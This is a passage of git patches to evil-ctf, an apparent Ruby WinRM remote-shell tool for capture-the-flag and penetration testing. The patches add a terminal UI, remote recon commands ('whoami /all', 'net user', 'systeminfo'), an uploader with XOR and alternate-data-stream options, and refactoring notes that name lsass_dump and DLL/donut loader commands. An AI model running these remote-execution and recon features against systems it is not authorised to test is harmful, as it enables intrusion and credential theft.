should_exit = false + shutdown = false - while !should_exit - # Build state safely from shell - state = {} - begin - state[:host] = shell && (shell.run('hostname').output.strip rescue nil) - rescue - state[:host] = nil + # If TUI was launched with an active shell, register it as the active session + begin + if shell + app_state.set_active_session(EvilCTF::ShellAdapter.wrap(shell)) rescue nil end - begin - state[:user] = shell && (shell.run('[Security.Principal.WindowsIdentity]::GetCurrent().Name').output.strip rescue nil) - rescue - state[:user] = nil + rescue + end + + # Drain any pending stdin bytes (avoid accidentally processing keys + # that were typed before the TUI fully initialized) and set a short + # grace period during which keypresses are ignored. + begin + while IO.select([STDIN], nil, nil, 0) + begin + STDIN.read_nonblock(1024) + rescue IO::WaitReadable, Errno::EAGAIN, EOFError + break + rescue => _e + break + end end - state[:connected] = !!shell + rescue + end + ignore_until = Time.now + 0.35 + + # UI state populated by a background poller (avoids blocking UI on WinRM) + ui_state = {} + poller = Thread.new do + loop do + break if shutdown + begin + current_shell = app_state.active_session || shell + if current_shell + h = EvilCTF::Execution.run(current_shell, 'hostname', timeout: 5) + u = EvilCTF::Execution.run(current_shell, '[Security.Principal.WindowsIdentity]::GetCurrent().Name', timeout: 5) + o = EvilCTF::Execution.run(current_shell, 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"', timeout: 8) + host = h && h.output ? h.output.strip : nil + user = u && u.output ? u.output.strip : nil + os = o && o.output ? o.output.strip : nil + connected = h && h.ok + ui_state_mutex.synchronize { ui_state[:host] = host; ui_state[:user] = user; ui_state[:os_info] = os; ui_state[:connected] = connected } + else + ui_state_mutex.synchronize { ui_state[:connected] = false } + end + rescue => _e + ui_state_mutex.synchronize { ui_state[:connected] = false } + end + sleep 2 + end + end + + while !should_exit + # Build state from poller snapshot + state = ui_state_mutex.synchronize { ui_state.dup } + state[:connected] = !!state[:connected] state[:shell] = options[:shell] || 'PowerShell' state[:ssl] = !!options[:ssl] + # Ensure we use the currently active session (if any) for commands + current_shell = app_state.active_session || shell + + # Use authoritative AppState for sessions/streams/results system('clear') rescue nil - render_fixed_layout(shell, state, self.sessions, self.stream_buffer) + render_fixed_layout(current_shell, state, app_state.sessions, app_state.stream_snapshot) - # Read a single key and react + # Read a single key and react. Use IO.select with short timeout so + # the UI refreshes regularly and shows background output without + # requiring a key press. key = nil begin - if reader.respond_to?(:read_key) - key = reader.read_key - elsif reader.respond_to?(:read_char) - key = reader.read_char + if IO.select([STDIN], nil, nil, 0.2) + if reader.respond_to?(:read_key) + key = reader.read_key + elsif reader.respond_to?(:read_char) + key = reader.read_char + else + key = STDIN.getch rescue nil + end else - key = STDIN.getch rescue nil + key = nil end rescue Interrupt should_exit = true break rescue => _e - # Non-fatal — allow refresh or quit via Enter key = nil end + # Ignore any accidental keypresses during the short grace period + if key && Time.now < ignore_until + key = nil + end + + # Menu toggle keys (uppercase): toggle top-level menus + if key == 'S' || key == 'T' || key == 'M' || key == 'P' || key == 'E' + map = { 'S' => :sessions, 'T' => :tools, 'M' => :macros, 'P' => :profiles, 'E' => :settings } + sel = map[key] + if app_state.menu_open == sel + app_state.set_menu_open(nil) + else + app_state.set_menu_open(sel) + end + next + end + + # If user entered insert mode, capture typed characters directly into AppState.cli_input + if app_state.mode == :insert + # handle insert-mode keys: printable strings append, backspace removes, Enter submits + begin + if key == :return || key == :enter || key == "\r" || key == "\n" + cmd = app_state.cli_input.to_s.strip + app_state.append_cli_history("PS> #{cmd}") if cmd && !cmd.empty? + app_state.set_cli_input('') + app_state.set_mode(:NORMAL) + if current_shell && cmd && !cmd.empty? + Thread.new do + begin + res = EvilCTF::Execution.run(current_shell, cmd, timeout: 120) + out = res.output.to_s + # Append both to stream and CLI history so output shows in the interactive pane + out.lines.each do |ln| + app_state.append_stream("#{cmd} -> #{ln.chomp}") + app_state.append_cli_history(ln.chomp) + end + app_state.append_result("#{cmd}\n#{out}") + unless res.ok + app_state.push_alert("Command finished with non-zero exit or timeout: #{cmd}") + end + rescue => e + app_state.append_stream("[!] Command error: #{e.class}: #{e.message}") + end + end + else + app_state.append_stream('[!] No active shell to run command') unless current_shell + end + elsif key == :backspace || key == :delete || key == 127 || key == "\u007F" + cur = app_state.cli_input.to_s + app_state.set_cli_input(cur[0..-2] || '') + elsif key.is_a?(String) + # printable character(s) + cur = app_state.cli_input.to_s + app_state.set_cli_input(cur + key) + end + rescue => e + app_state.append_stream("[!] Insert-mode input error: #{e.class}: #{e.message}") + app_state.set_mode(:NORMAL) + end + next + end + case key when 'q', 'Q', :ctrl_c should_exit = true when 'r', 'R' next + when 'i', 'I' + # Enter insert mode to type directly into the CLI prompt + app_state.set_mode(:insert) + next + when '1' + # Map menu item '1' to recon_basic + if current_shell + Thread.new { run_recon_basic(current_shell) } + else + TUI.append_stream('[!] No active shell to run recon_basic') + end + next when 'n', 'N' # Start a new background session via prompt begin @@ -287,35 +417,93 @@ def self.start_rainfrog(shell = nil, options = {}) pass = STDIN.noecho(&:gets).to_s.strip rescue STDIN.gets.to_s.strip puts end + # Create a connection and shell adapter in background and set it as active t = Thread.new do begin - Session.run_session({ ip: ip, user: user, password: pass, ssl: false, banner_mode: :minimal }) + opts = { ip: ip, user: user, password: pass, ssl: false } + conn = EvilCTF::Connection.build_full(opts) + unless conn + TUI.append_stream("[!] Failed to create connection for #{ip}") + next + end + sh = conn.shell(:powershell) + adapter = EvilCTF::ShellAdapter.wrap(sh) + app_state.set_active_session(adapter) + TUI.add_session({ ip: ip, user: user, adapter: adapter, thread: Thread.current, started_at: Time.now }) + TUI.append_stream("[+] Connected and set active session: #{ip}") rescue => e - puts "[!] Failed to start session: #{e.message}" + TUI.append_stream("[!] Failed to start session #{ip}: #{e.class}: #{e.message}") end end - self.sessions << { ip: ip, user: user, thread: t, started_at: Time.now } + TUI.add_session({ ip: ip, user: user, thread: t, started_at: Time.now }) rescue => e # ignore prompt failures end next - when 'c', 'C' - # Run a command on the provided shell (if present) and append output to stream buffer - if shell + when 'c', 'C', :f2 + # Run a command on the provided shell (if present) in background and append output to stream buffer + if current_shell begin - cmd = (defined?(TTY::Prompt) ? TTY::Prompt.new.ask('PS>') : (print 'PS> '; STDIN.gets&.strip)) - if cmd && !cmd.strip.empty? - res = shell.run(cmd) - out = res.output.to_s - out.lines.each { |ln| self.stream_buffer << "#{cmd} -> #{ln.chomp}" } - # keep buffer bounded - self.stream_buffer.shift while self.stream_buffer.size > 300 - end + handle_cli_submit(current_shell) rescue => e - self.stream_buffer << "[!] Command error: #{e.message}" + TUI.append_stream("[!] Command error (submit): #{e.class}: #{e.message}") end else - self.stream_buffer << "[!] No active shell to run commands" + TUI.append_stream("[!] No active shell to run commands") + end + next + when 's', 'S', :f3 + # session enumeration / refresh results + if current_shell + Thread.new do + begin + res = EvilCTF::Execution.run(current_shell, 'Get-Process | Select-Object -First 10 Name,Id', timeout: 10) + TUI.append_stream(res.output.to_s) + unless res.ok + TUI.append_stream('[!] Enumeration may have timed out or failed') + end + rescue => e + TUI.append_stream("[!] Session enumerate error: #{e.class}: #{e.message}") + end + end + else + TUI.append_stream('[!] No active shell to enumerate') + end + next + when :f1 + # Map F1 to 'new session' flow + begin + prompt = (defined?(TTY::Prompt) ? TTY::Prompt.new : nil) + ip = prompt ? prompt.ask('Target IP:') : (print('Target IP: '); STDIN.gets&.strip) + user = prompt ? prompt.ask('User:', default: 'Administrator') : (print('User [Administrator]: '); (STDIN.gets&.strip || 'Administrator')) + pass = nil + if prompt + pass = prompt.mask('Password:') + else + print 'Password: ' + pass = STDIN.noecho(&:gets).to_s.strip rescue STDIN.gets.to_s.strip + puts + end + t = Thread.new do + begin + opts = { ip: ip, user: user, password: pass, ssl: false } + conn = EvilCTF::Connection.build_full(opts) + unless conn + TUI.append_stream("[!] Failed to create connection for #{ip}") + next + end + sh = conn.shell(:powershell) + adapter = EvilCTF::ShellAdapter.wrap(sh) + app_state.set_active_session(adapter) + TUI.add_session({ ip: ip, user: user, adapter: adapter, thread: Thread.current, started_at: Time.now }) + TUI.append_stream("[+] Connected and set active session: #{ip}") + rescue => e + TUI.append_stream("[!] Failed to start session #{ip}: #{e.class}: #{e.message}") + end + end + TUI.add_session({ ip: ip, user: user, thread: t, started_at: Time.now }) + rescue => _e + # ignore prompt failures end next else @@ -323,6 +511,68 @@ def self.start_rainfrog(shell = nil, options = {}) next end end + ensure + # Clean shutdown: stop poller and restore terminal mode + begin + shutdown = true + poller.join(1) if poller && poller.alive? + rescue + end + begin + system('stty sane') rescue nil + rescue + end + end + + # Helper: prompt for a command and execute it in background using Execution.run + def self.handle_cli_submit(shell) + cmd = (defined?(TTY::Prompt) ? TTY::Prompt.new.ask('PS>') : (print 'PS> '; STDIN.gets&.strip)) + return unless cmd && !cmd.strip.empty? + Thread.new do + begin + res = EvilCTF::Execution.run(shell, cmd, timeout: 120) + out = res.output.to_s + out.lines.each { |ln| TUI.append_stream("#{cmd} -> #{ln.chomp}") } + unless res.ok + TUI.append_stream("[!] Command finished with non-zero exit or timeout: #{res.output}") + end + rescue => e + TUI.append_stream("[!] Command error: #{e.class}: #{e.message}") + end + end + end + + # Run a recon_basic enumeration using real commands and stream results + def self.run_recon_basic(shell) + id = "recon_basic_#{Time.now.to_i}_#{rand(9999)}" + app_state.add_task(id, { name: 'recon_basic', started_at: Time.now }) + app_state.set_last_scan_time(Time.now) + commands = ['whoami /all', 'net user', 'systeminfo'] + commands.each do |cmd| + begin + append_stream("[recon_basic] Running: #{cmd}") + # Use streaming API to get incremental updates as the remote job runs + full = '' + res = EvilCTF::Execution.stream(shell, cmd, timeout: 120, poll_interval: 1) do |chunk| + # chunk may contain multiple lines; append to AppState incrementally + app_state.append_result(chunk) + chunk.lines.each { |ln| append_stream("#{cmd} -> #{ln.chomp}") } + full << chunk + end + # If stream returned final output object with output, ensure final append + if res && res.output && !res.output.empty? + app_state.append_result(res.output) + end + unless res && res.ok + append_stream("[!] #{cmd} finished with non-zero exit or timeout") + app_state.push_alert("recon_basic: #{cmd} failed or timed out") + end + rescue => e + append_stream("[!] recon_basic command error: #{e.class}: #{e.message}") + app_state.push_alert("recon_basic exception: #{e.class}") + end + end + app_state.remove_task(id) end end end diff --git a/lib/evil_ctf/uploader.rb b/lib/evil_ctf/uploader.rb index bff319b..9e4c1a3 100644 --- a/lib/evil_ctf/uploader.rb +++ b/lib/evil_ctf/uploader.rb @@ -54,10 +54,10 @@ def self.file_operations_menu(shell) end # Always show completions for drive roots and partials - ps = <<~PS + ps = <<~PS try { - $d = '#{dir.gsub("'", "''")}' - $p = '#{partial.gsub("'", "''")}' + $d = '#{EvilCTF::Utils.escape_ps_string(dir)}' + $p = '#{EvilCTF::Utils.escape_ps_string(partial)}' $results = Get-ChildItem -Path $d -Directory -Name | Where-Object { $_ -like "$p*" } | ForEach-Object { Join-Path $d $_ } if ($results.Count -eq 0 -and $p -eq '') { # Show drive letters @@ -160,5 +160,23 @@ def self.file_operations_menu(shell) end end end + + # Remove temporary part files on the remote host (best-effort) + def self.cleanup_tmp(remote_tmp, shell_or_adapter) + return unless remote_tmp && shell_or_adapter + begin + adapter = EvilCTF::ShellAdapter.wrap(shell_or_adapter) + escaped = EvilCTF::Utils.escape_ps_string(remote_tmp) + ps = <<~PS + try { + Remove-Item -Path '#{escaped}' -Force -ErrorAction SilentlyContinue + "OK" + } catch { "ERROR: $($_.Exception.Message)" } + PS + adapter.run(ps) + rescue => _e + nil + end + end end end diff --git a/lib/evil_ctf/uploader/client.rb b/lib/evil_ctf/uploader/client.rb index ae76aff..1362351 100644 --- a/lib/evil_ctf/uploader/client.rb +++ b/lib/evil_ctf/uploader/client.rb @@ -6,6 +6,8 @@ require_relative '../shell_adapter' require_relative '../logger' require_relative '../errors' +require_relative '../utils' +require_relative '../app_state' module EvilCTF require 'colorize' @@ -19,7 +21,7 @@ def initialize(shell_or_adapter, logger = nil) end - def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHUNK_SIZE, verify: false, xor_key: nil) + def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHUNK_SIZE, verify: true, xor_key: nil) unless File.exist?(local_path) puts '[!] Local file missing'.colorize(:red) raise ::EvilCTF::Errors::UploadError, 'local file missing' @@ -49,7 +51,7 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU if is_ads # --- ADS upload logic using Add-Content -Encoding Byte --- - ads_path = final_remote_path.gsub("'", "''") + ads_path = EvilCTF::Utils.escape_ps_string(final_remote_path) begin File.open(local_path, 'rb') do |f| idx = 0 @@ -122,7 +124,14 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU tmp_token = Time.now.to_i.to_s + rand(9999).to_s tmp_remote = final_remote_path + ".part_#{tmp_token}" - escaped_tmp = tmp_remote.gsub("'", "''") + escaped_tmp = EvilCTF::Utils.escape_ps_string(tmp_remote) + + # Register upload in AppState so UI can show real progress + upload_id = "upload_#{tmp_token}_#{Thread.current.object_id}" + begin + EvilCTF::AppState.instance.set_upload(upload_id, { name: File.basename(local_path), total: File.size(local_path), sent: 0 }) + rescue => _e + end # Use WinRM::FS if available fm = @shell_adapter.respond_to?(:file_manager) ? @shell_adapter.file_manager : nil @@ -130,8 +139,13 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU begin @logger&.info("[Uploader] Using WinRM::FS upload via adapter for #{local_path} -> #{tmp_remote}") fm.upload(local_path, tmp_remote) + # mark as completed + begin + EvilCTF::AppState.instance.set_upload(upload_id, { name: File.basename(local_path), total: File.size(local_path), sent: File.size(local_path) }) + rescue + end # move into place - escaped_final = final_remote_path.gsub("'", "''") + escaped_final = EvilCTF::Utils.escape_ps_string(final_remote_path) ps_rm_final = <<~PS try { Remove-Item -Path '#{escaped_final}' -Force -ErrorAction SilentlyContinue; "OK" } catch { "ERROR: $($_.Exception.Message)" } PS @@ -155,6 +169,10 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU return true rescue => e @logger&.warn("[Uploader] WinRM::FS upload failed, falling back: #{e.message}") + begin + EvilCTF::AppState.instance.clear_upload(upload_id) + rescue + end end end @@ -179,7 +197,7 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU begin File.open(local_path, 'rb') do |f| - escaped_tmp_q = tmp_remote.gsub("'", "''") + escaped_tmp_q = EvilCTF::Utils.escape_ps_string(tmp_remote) ps_exists = "Test-Path '#{escaped_tmp_q}'" exist_res = @shell_adapter.run(ps_exists) offset = 0 @@ -193,6 +211,12 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU idx = (offset / chunk_size) bytes_sent = offset + local_size = File.size(local_path) + # ensure app_state knows total + begin + EvilCTF::AppState.instance.set_upload(upload_id, { name: File.basename(local_path), total: local_size, sent: bytes_sent }) + rescue + end while (buf = f.read(chunk_size)) payload = if xor_key EvilCTF::Tools::Crypto.xor_crypt(buf, xor_key) @@ -202,7 +226,7 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU buf end b64 = Base64.strict_encode64(payload) - escaped_remote = tmp_remote.gsub("'", "''") + escaped_remote = EvilCTF::Utils.escape_ps_string(tmp_remote) ps = <<~PS try { $b64 = @' @@ -225,6 +249,11 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU end bytes_sent += buf.bytesize + # update progress in AppState + begin + EvilCTF::AppState.instance.set_upload(upload_id, { name: File.basename(local_path), total: local_size, sent: bytes_sent }) + rescue + end ps_len_check = "(Get-Item -Path '#{escaped_remote}' -ErrorAction SilentlyContinue).Length" len_res = @shell_adapter.run(ps_len_check) remote_len = len_res && len_res.output ? len_res.output.to_s.scan(/\d+/).first.to_i : 0 @@ -244,6 +273,10 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU end rescue => e @logger&.error("[Uploader] Upload failed during chunked transfer: #{e.class}: #{e.message}") + begin + EvilCTF::AppState.instance.clear_upload(upload_id) rescue nil + rescue + end raise ::EvilCTF::Errors::UploadError, e.message end @@ -261,7 +294,7 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU end # Ensure final does not exist, then move temp file into place atomically (or try copy as fallback) - escaped_final = remote_path.gsub("'", "''") + escaped_final = EvilCTF::Utils.escape_ps_string(final_remote_path) ps_rm_final = <<~PS try { Remove-Item -Path '#{escaped_final}' -Force -ErrorAction SilentlyContinue; "OK" } catch { "ERROR: $($_.Exception.Message)" } PS @@ -292,7 +325,7 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU end if verify - ps = "(Get-FileHash -Path '#{remote_path}' -Algorithm SHA256).Hash" + ps = "(Get-FileHash -Path '#{final_remote_path}' -Algorithm SHA256).Hash" res = @shell_adapter.run(ps) remote_raw = res && res.output ? res.output.to_s : '' remote_hash = remote_raw.scan(/[0-9A-Fa-f]{64}/).first @@ -300,14 +333,34 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU cleaned = remote_raw.gsub(/[^0-9A-Fa-f]/, '') remote_hash = cleaned[0,64] if cleaned && cleaned.length >= 64 end + begin + EvilCTF::AppState.instance.clear_upload(upload_id) rescue nil + rescue + end return { ok: true, local_hash: local_sha256, remote_hash: remote_hash, tmp_hash: tmp_hash } end + begin + EvilCTF::AppState.instance.clear_upload(upload_id) rescue nil + rescue + end true + ensure + # best-effort cleanup of temporary part files if any error occurred + begin + if defined?(tmp_remote) && tmp_remote && @shell_adapter + ::EvilCTF::Uploader.cleanup_tmp(tmp_remote, @shell_adapter) rescue nil + end + rescue + end + begin + EvilCTF::AppState.instance.clear_upload(upload_id) rescue nil + rescue + end end def download_file(remote_path, local_path, xor_key: nil, allow_empty: true) - exist = @shell_adapter.run("Test-Path '#{remote_path.gsub("'", "''")}'") + exist = @shell_adapter.run("Test-Path '#{EvilCTF::Utils.escape_ps_string(remote_path)}'") unless exist && exist.output.to_s.strip == 'True' puts '[!] Remote path not found'.colorize(:red) @logger&.error("[Downloader] Remote path not found: #{remote_path}") @@ -347,7 +400,7 @@ def download_file(remote_path, local_path, xor_key: nil, allow_empty: true) loop do ps_chunk = <<~PS try { - $path = '#{remote_path.gsub("'", "''")}' + $path = '#{EvilCTF::Utils.escape_ps_string(remote_path)}' $fs = [System.IO.File]::OpenRead($path) $fs.Seek(#{offset}, 'Begin') | Out-Null $buf = New-Object byte[] #{chunk_size} diff --git a/lib/evil_ctf/utils.rb b/lib/evil_ctf/utils.rb new file mode 100644 index 0000000..a769239 --- /dev/null +++ b/lib/evil_ctf/utils.rb @@ -0,0 +1,11 @@ +# frozen_string_literal: true +module EvilCTF + module Utils + # Escape a string for safe inclusion inside a PowerShell single-quoted string + # e.g. 'O''Reilly' style escaping + def self.escape_ps_string(str) + return '' if str.nil? + str.to_s.gsub("'", "''") + end + end +end From 9174e32c38d61f85ce62863bfd6191e4443aface Mon Sep 17 00:00:00 2001 From: giveen Date: Wed, 11 Feb 2026 13:23:05 -0700 Subject: [PATCH 13/17] Add wrapper script for convenient bundle exec usage --- evil-ctf | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100755 evil-ctf diff --git a/evil-ctf b/evil-ctf new file mode 100755 index 0000000..6a61db0 --- /dev/null +++ b/evil-ctf @@ -0,0 +1,12 @@ +#!/bin/bash +# Wrapper script to automatically use bundle exec with proper sudo handling + +# Check if running with sudo (check SUDO_USER or run without sudo) +if [ -z "$SUDO_USER" ]; then + # Not running with sudo - check if we need it (for /etc/hosts modification) + # Just run with bundle exec + exec bundle exec ruby "$(dirname "${BASH_SOURCE[0]}")/evil-ctf.rb" "$@" +else + # Running with sudo - preserve environment and use bundle exec + exec bundle exec ruby "$(dirname "${BASH_SOURCE[0]}")/evil-ctf.rb" "$@" +fi From 02894314e0d5f633d5612de713759fcc52bd9abd Mon Sep 17 00:00:00 2001 From: giveen Date: Wed, 11 Feb 2026 13:23:21 -0700 Subject: [PATCH 14/17] Make /etc/hosts modification graceful on permission errors --- lib/evil_ctf/session.rb | 30 ++++++++++++++++++++---------- 1 file changed, 20 insertions(+), 10 deletions(-) diff --git a/lib/evil_ctf/session.rb b/lib/evil_ctf/session.rb index d99e75c..afdb54f 100644 --- a/lib/evil_ctf/session.rb +++ b/lib/evil_ctf/session.rb @@ -661,17 +661,27 @@ def self.normalize_host(host) def self.add_ipv6_to_hosts(ip, hostname) hosts_file = '/etc/hosts' entry = "#{ip} #{hostname}" - # Check if already present - if File.readlines(hosts_file).any? { |line| line.strip == entry } - puts "[+] /etc/hosts already contains: #{entry}" - return + + begin + # Check if already present + if File.readlines(hosts_file).any? { |line| line.strip == entry } + puts "[+] /etc/hosts already contains: #{entry}" + return + end + # Backup hosts file + backup = hosts_file + ".evilctf.bak" + FileUtils.cp(hosts_file, backup) unless File.exist?(backup) + # Append entry + File.open(hosts_file, 'a') { |f| f.puts entry } + puts "[+] /etc/hosts updated: #{entry}" + rescue Errno::EACCES, Errno::EPERM => e + puts "[!] WARNING: Unable to modify /etc/hosts (permissions required): #{e.message}" + puts "[!] Try running with sudo: sudo -E ./evil-ctf [args]" + puts "[!] Continuing session anyway..." + rescue => e + puts "[!] WARNING: Failed to update /etc/hosts: #{e.message}" + puts "[!] Continuing session anyway..." end - # Backup hosts file - backup = hosts_file + ".evilctf.bak" - FileUtils.cp(hosts_file, backup) unless File.exist?(backup) - # Append entry - File.open(hosts_file, 'a') { |f| f.puts entry } - puts "[+] /etc/hosts updated: #{entry}" end def self.setup_autocomplete(history) From 53ecfd7a9078e32a6c72c3575b1b22a94b0f01b0 Mon Sep 17 00:00:00 2001 From: giveen Date: Mon, 20 Apr 2026 22:01:46 -0600 Subject: [PATCH 15/17] Refactor session dispatch and harden connection/upload reliability --- .github/copilot-instructions.md | 8 + .github/instructions/todos.instructions.md | 9 +- Gemfile.lock | 2 +- RELIABILITY_REFACTOR_NOTES.md | 55 +++ lib/evil_ctf/cli.rb | 44 +- lib/evil_ctf/command_dispatcher.rb | 443 +++++++++++++++++++++ lib/evil_ctf/connection.rb | 41 +- lib/evil_ctf/errors.rb | 1 + lib/evil_ctf/execution.rb | 5 +- lib/evil_ctf/session.rb | 381 +++--------------- lib/evil_ctf/tools.rb | 122 +++++- lib/evil_ctf/uploader/client.rb | 10 + 12 files changed, 786 insertions(+), 335 deletions(-) create mode 100644 .github/copilot-instructions.md create mode 100644 RELIABILITY_REFACTOR_NOTES.md create mode 100644 lib/evil_ctf/command_dispatcher.rb diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md new file mode 100644 index 0000000..c5ea9fb --- /dev/null +++ b/.github/copilot-instructions.md @@ -0,0 +1,8 @@ + + +- [-] inspect-working-tree: Inspect changed files and diffs since last commit 🔴 +- [ ] create-commit: Stage relevant changes and create commit with descriptive message 🔴 +- [ ] push-branch: Push current branch to origin and confirm upstream status 🔴 + + + diff --git a/.github/instructions/todos.instructions.md b/.github/instructions/todos.instructions.md index 52b9607..446e360 100644 --- a/.github/instructions/todos.instructions.md +++ b/.github/instructions/todos.instructions.md @@ -2,9 +2,12 @@ applyTo: '**' --- - - -- No todos yet. Call the `todo_write` tool to plan your tasks before starting any work. + +- [x] scope-review-targets: Identify critical files and review scope for bug/performance audit 🔴 +- [x] inspect-runtime-paths: Review core runtime modules for logic bugs and inefficiencies 🔴 +- [x] run-validation: Run available tests/commands to confirm suspected issues 🟡 +- [x] report-findings: Summarize findings by severity with file/line references 🔴 + diff --git a/Gemfile.lock b/Gemfile.lock index 55e52a0..0b60298 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -8,7 +8,7 @@ GEM concurrent-ruby (1.3.6) diff-lcs (1.6.2) erubi (1.13.1) - ffi (1.17.2-x86_64-linux-gnu) + ffi (1.17.4-x86_64-linux-gnu) gssapi (1.3.1) ffi (>= 1.0.1) gyoku (1.4.0) diff --git a/RELIABILITY_REFACTOR_NOTES.md b/RELIABILITY_REFACTOR_NOTES.md new file mode 100644 index 0000000..4c5028d --- /dev/null +++ b/RELIABILITY_REFACTOR_NOTES.md @@ -0,0 +1,55 @@ +# Reliability Refactor Notes + +Goal: reduce runtime failures by simplifying critical paths and making error behavior deterministic. + +## Why This Is Needed + +Recent review found that complexity in session routing, streaming execution, and uploader fallbacks is causing brittle behavior. Specific examples include command routing breakage, argument mismatch in IPv6 helper usage, and weak integrity verification semantics. + +## Priority Plan + +1. Stabilize command routing in `lib/evil_ctf/session.rb`. +- Split the large `case` command loop into small handlers per command group. +- Keep each handler single-purpose (command parse, execute, return result). +- Add focused specs for command dispatch of `lsass_dump`, `invoke-binary`, `dll-loader`, and `donut-loader`. + +2. Simplify and harden execution streaming in `lib/evil_ctf/execution.rb`. +- Capture and track only the exact PowerShell job started by the call. +- Avoid selecting from global running jobs. +- Return explicit status for timeout, success, and command failure. +- Add tests for job selection correctness and timeout behavior. + +3. Make uploader verification strict in `lib/evil_ctf/uploader/client.rb`. +- If `verify: true`, compare local and remote hashes and fail on mismatch. +- Return `ok: false` plus mismatch details instead of unconditional success. +- Keep advanced fallbacks (WinRM::FS, chunked, ADS) but unify final success criteria. + +4. Reduce broad exception swallowing. +- Replace generic `rescue => e` where practical with narrower exceptions. +- Keep user-friendly messages, but preserve root-cause signal in logs. +- Ensure recoverable failures return structured status instead of silent continuation. + +## Quick Wins + +1. Fix IPv6 helper arity mismatch. +- Align `run_session` call site with `add_ipv6_to_hosts(ip, hostname)` signature. + +2. Untangle malformed command branch structure in `session.rb`. +- Ensure each `when` branch contains only its own command body. + +3. Enforce hash verification semantics. +- Treat `verify: true` as a hard contract. + +## Suggested Work Sequence + +1. Session command routing refactor + tests. +2. Execution stream correctness + tests. +3. Uploader verify contract + tests. +4. Exception handling cleanup pass. + +## Definition Of Done + +- High-risk command paths are covered by specs. +- Stream path does not depend on global job state. +- Upload verify path fails on hash mismatch. +- Error paths are observable and diagnosable. diff --git a/lib/evil_ctf/cli.rb b/lib/evil_ctf/cli.rb index 858371c..089b7a7 100644 --- a/lib/evil_ctf/cli.rb +++ b/lib/evil_ctf/cli.rb @@ -3,6 +3,7 @@ require 'optparse' require_relative 'session' +require_relative 'connection' module EvilCTF module CLI @@ -16,7 +17,8 @@ def self.run(argv) list_tools: false, enum: nil, fresh: false, hosts: nil, kerberos: false, realm: nil, keytab: nil, banner_mode: :minimal, debug: false, - ipv6: nil, ipv6_hostname: nil + ipv6: nil, ipv6_hostname: nil, + verify: true } parser = OptionParser.new do |opts| opts.banner = 'Usage: evil-ctf.rb [options]' @@ -57,6 +59,7 @@ def self.run(argv) opts.on('--user-agent AGENT', 'Custom User-Agent for WinRM HTTP requests') { |v| options[:user_agent] = v } opts.on('--log-session', 'Enable session logging to disk (log/ directory)') { options[:log_session] = true } opts.on('--debug', 'Enable WinRM debug output (passes debug:true to WinRM client)') { options[:debug] = true } + opts.on('--no-verify', 'Skip connection validation') { options[:verify] = false } opts.on('-h', '--help', 'Show help') { puts opts; exit 0 } end @@ -100,7 +103,44 @@ def self.run(argv) return 1 end - Session.run_session(options) + # Connection validation before session + if options[:verify] + endpoint = options[:endpoint] || "#{options[:ssl] ? 'https' : 'http'}://#{options[:ip]}:#{options[:port] || 5985}/wsman" + conn = EvilCTF::Connection.build_full( + endpoint: endpoint, + user: options[:user], + password: options[:password], + hash: options[:hash], + kerberos: options[:kerberos], + realm: options[:realm], + keytab: options[:keytab], + ssl: options[:ssl], + debug: options[:debug], + transport: options[:transport], + user_agent: options[:user_agent] + ) + unless conn + puts "[!] Connection failed: Could not create connection to #{endpoint}" + exit 1 + end + validation = EvilCTF::ConnectionValidator.validate(conn) + unless validation[:ok] + puts "[!] Connection validation failed: #{validation[:error]}" + exit 1 + end + puts "[+] Connection validated: #{validation[:hostname]}" + end + + result = Session.run_session(options) + + # Check for validation failure from session + if result.is_a?(Array) && !result[0] + puts "[!] Session validation failed: #{result[1]}" if result[1] + exit 1 + elsif !result + puts "[!] Session failed" + exit 1 + end 0 end end diff --git a/lib/evil_ctf/command_dispatcher.rb b/lib/evil_ctf/command_dispatcher.rb new file mode 100644 index 0000000..c6d7a2a --- /dev/null +++ b/lib/evil_ctf/command_dispatcher.rb @@ -0,0 +1,443 @@ +# frozen_string_literal: true + +require 'monitor' +require 'ostruct' +require_relative 'tools' +require_relative 'execution' +require_relative 'uploader' +require_relative 'enums' +require_relative 'sql_enum' + +module EvilCTF + # Dispatcher for handling commands in the EvilCTF session. + # Replaces the large case statement in session.rb with a handler-based approach. + class CommandDispatcher + attr_reader :handlers + + def initialize + @mutex = Monitor.new + @handlers = {} + @pass_through = true # Default: pass unknown commands through + + # Pre-register all handlers + register_core_commands + end + + def register(name, &block) + @mutex.synchronize do + @handlers[name] = block + end + end + + def unregister(name) + @mutex.synchronize do + @handlers.delete(name) + end + end + + # Dispatch a command and return a result hash. + # Returns: + # { ok: true, output: "" } on success + # { ok: false, output: "", error: "" } on failure + # { ok: false, output: "", handled: false } not a known command, pass through + def dispatch(name:, args: nil, shell:, session_options:, command_manager: nil, history: nil) + # Make command_manager and history available in session_options for handlers + session_options[:command_manager] = command_manager if command_manager + session_options[:history] = history if history + + normalized = name.strip.downcase + + # Special handling for 'history' command with optional argument + if normalized == 'history' && args && args.strip != '' + normalized = 'history ' + args.strip.downcase + end + + handler = @handlers[normalized] + return { ok: false, output: '', handled: false } unless handler + + begin + output = handler.call(shell, args, session_options) + { ok: true, output: output.to_s } + rescue => e + { ok: false, output: '', error: e.message } + end + end + + private + + def register_core_commands + register('help') do |shell, args, session_options| + require 'colorize' + output = "\n" + "Builtin commands:".colorize(:cyan) + + help_cmds = [ + ['help', 'This help'], + ['clear', 'Clear screen'], + ['tools', 'List tool registry'], + ['download_missing', 